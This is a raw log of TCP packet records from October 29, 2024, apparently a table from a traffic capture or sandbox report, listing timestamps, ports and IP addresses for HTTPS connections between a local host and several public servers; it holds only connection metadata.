Oct 29, 2024 06:59:25.446971893 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.447067022 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.447086096 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.447185040 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.454746008 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.454891920 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.454965115 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.454982996 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.456856966 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:25.456882000 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:25.456940889 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:25.457762957 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:25.457777977 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:25.458039045 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:25.458046913 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:25.458100080 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:25.458463907 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:25.458477020 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:25.460127115 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.462413073 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.462430954 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.463597059 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:25.463617086 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:25.463669062 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:25.464433908 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:25.464448929 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:25.465202093 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.467346907 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.467371941 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.470053911 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.471343994 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.471363068 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.474900007 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.474977970 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.474987984 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.479770899 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.479887962 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.479901075 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.484430075 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.484491110 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.484503031 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.489341974 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.489495039 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.489509106 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.494112015 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.495291948 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.495305061 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.498919010 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.499247074 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.499260902 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.503722906 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.503781080 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.503794909 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.508613110 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.509393930 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.509411097 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.513263941 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.513322115 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.513333082 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.518054962 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.518104076 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.518117905 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.522708893 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.522783995 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.522795916 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.527657986 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.527714968 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.527734041 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.532373905 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.532495975 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.532514095 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.537265062 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.537345886 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.537359953 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.541995049 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.542046070 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.542057037 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.547009945 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.547069073 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.547091007 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.551759958 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.551970959 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.551985979 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.556248903 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.556386948 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.556401014 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.560847998 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.560904026 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.560921907 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.565350056 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.565422058 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.565433979 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.569832087 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.569921017 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.569931984 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.574244022 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.574289083 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.574302912 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.578624010 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.578810930 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.578824043 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.612791061 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.612880945 CET	443	49769	142.250.185.193	192.168.2.5
Oct 29, 2024 06:59:25.612941027 CET	49769	443	192.168.2.5	142.250.185.193
Oct 29, 2024 06:59:25.842479944 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.847238064 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.847265959 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.848388910 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.848602057 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.848609924 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.851104975 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.854203939 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.854219913 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.854751110 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.854756117 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.855971098 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.855993986 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.856484890 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.856492043 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.857338905 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.858392000 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.858402014 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.858422041 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.858833075 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.858840942 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.859229088 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.859241009 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.859695911 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.859708071 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.974101067 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.974327087 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.974383116 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.980864048 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.981005907 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.981060982 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.981134892 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.981502056 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.981575966 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.990019083 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.990541935 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.990607977 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.990818024 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.991028070 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.991118908 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.992204905 CET	49775	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.992221117 CET	443	49775	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.993541956 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.993558884 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.993582010 CET	49771	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.993588924 CET	443	49771	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.994493008 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.994493008 CET	49774	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.994524002 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.994535923 CET	443	49774	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.995469093 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.995477915 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.995490074 CET	49773	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.995496035 CET	443	49773	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:25.996045113 CET	49772	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:25.996054888 CET	443	49772	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.042599916 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.042618990 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.042782068 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.045260906 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.045335054 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.045865059 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.046782017 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.046789885 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.046943903 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.048028946 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.048059940 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.048140049 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.048326969 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.048341036 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.048825979 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.048837900 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.049709082 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.049737930 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.049819946 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.049988031 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.050004005 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.050019979 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.050035000 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.050381899 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.050391912 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.060759068 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.060961962 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.060992002 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.061840057 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.061908007 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.062444925 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.063277960 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.063308954 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.064748049 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.064805031 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.073460102 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.076822996 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:26.078645945 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.078659058 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.079189062 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.079210997 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:26.080111980 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:26.080167055 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.080475092 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.080532074 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.107167959 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.107372046 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.107510090 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.107932091 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.107974052 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.107990026 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.108652115 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.108712912 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:26.108798981 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.109020948 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.110326052 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.110342026 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.110894918 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.110907078 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.195369005 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.222970009 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.223033905 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.237266064 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.237322092 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.237940073 CET	49791	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.237958908 CET	443	49791	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.240637064 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.240730047 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.243788004 CET	49793	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.243810892 CET	443	49793	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.243846893 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.243901968 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.243968010 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.244199991 CET	49792	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.244206905 CET	443	49792	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.250540018 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.250550032 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.250760078 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.251710892 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.251751900 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.251771927 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.304846048 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.304852962 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:26.336039066 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.336793900 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.336816072 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.337924004 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.337930918 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.337985992 CET	49788	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.337997913 CET	443	49788	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.411526918 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.513318062 CET	49803	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.513350964 CET	443	49803	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.513436079 CET	49803	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.514483929 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.514545918 CET	443	49786	18.244.18.27	192.168.2.5
Oct 29, 2024 06:59:26.514592886 CET	49786	443	192.168.2.5	18.244.18.27
Oct 29, 2024 06:59:26.515234947 CET	49804	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.515259981 CET	443	49804	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.515319109 CET	49804	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.515485048 CET	49803	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.515497923 CET	443	49803	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.515842915 CET	49804	443	192.168.2.5	162.159.61.3
Oct 29, 2024 06:59:26.515856028 CET	443	49804	162.159.61.3	192.168.2.5
Oct 29, 2024 06:59:26.668489933 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.829672098 CET	49805	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.829725981 CET	443	49805	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.829804897 CET	49805	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831017971 CET	49806	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831053972 CET	443	49806	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.831123114 CET	49806	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831563950 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831593990 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.831680059 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831753016 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831788063 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.831943035 CET	49805	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831962109 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.831971884 CET	443	49805	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.832113028 CET	49806	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.832128048 CET	443	49806	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.832298040 CET	49807	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.832321882 CET	443	49807	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.832716942 CET	49808	443	192.168.2.5	172.64.41.3
Oct 29, 2024 06:59:26.832731009 CET	443	49808	172.64.41.3	192.168.2.5
Oct 29, 2024 06:59:26.875334024 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.875386000 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.876245975 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.876255989 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.876358986 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.876384020 CET	443	49776	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:26.876445055 CET	49776	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:26.906297922 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.907336950 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.908546925 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.908580065 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.909383059 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.909398079 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.909523010 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.909720898 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.909890890 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.909904957 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.910538912 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.910543919 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.910749912 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.910761118 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.911393881 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.911396980 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.915158987 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.915185928 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:26.925350904 CET	49800	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:26.925363064 CET	443	49800	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.047561884 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.047633886 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.047641039 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.047708035 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.047980070 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.048002958 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.048017979 CET	443	49797	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.048049927 CET	49798	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.048064947 CET	443	49798	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.048074961 CET	49797	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.048384905 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.051028967 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.051182032 CET	443	49799	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.051230907 CET	49799	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.057789087 CET	49801	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:27.057809114 CET	443	49801	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:27.057854891 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.057892084 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.058099985 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.058156013 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.058192968 CET	443	49810	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.058306932 CET	49810	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.058439970 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.058476925 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:27.058542967 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:27.058691978 CET	49809	443	192.168.2.5	152.195.19.97
Oct 29, 2024 06:59:27.058722019 CET	443	49809	152.195.19.97	192.168.2.5
Oct 29, 2024 06:59:27.058779955 CET	49810	443	192.168.2.5	13.107.246.57
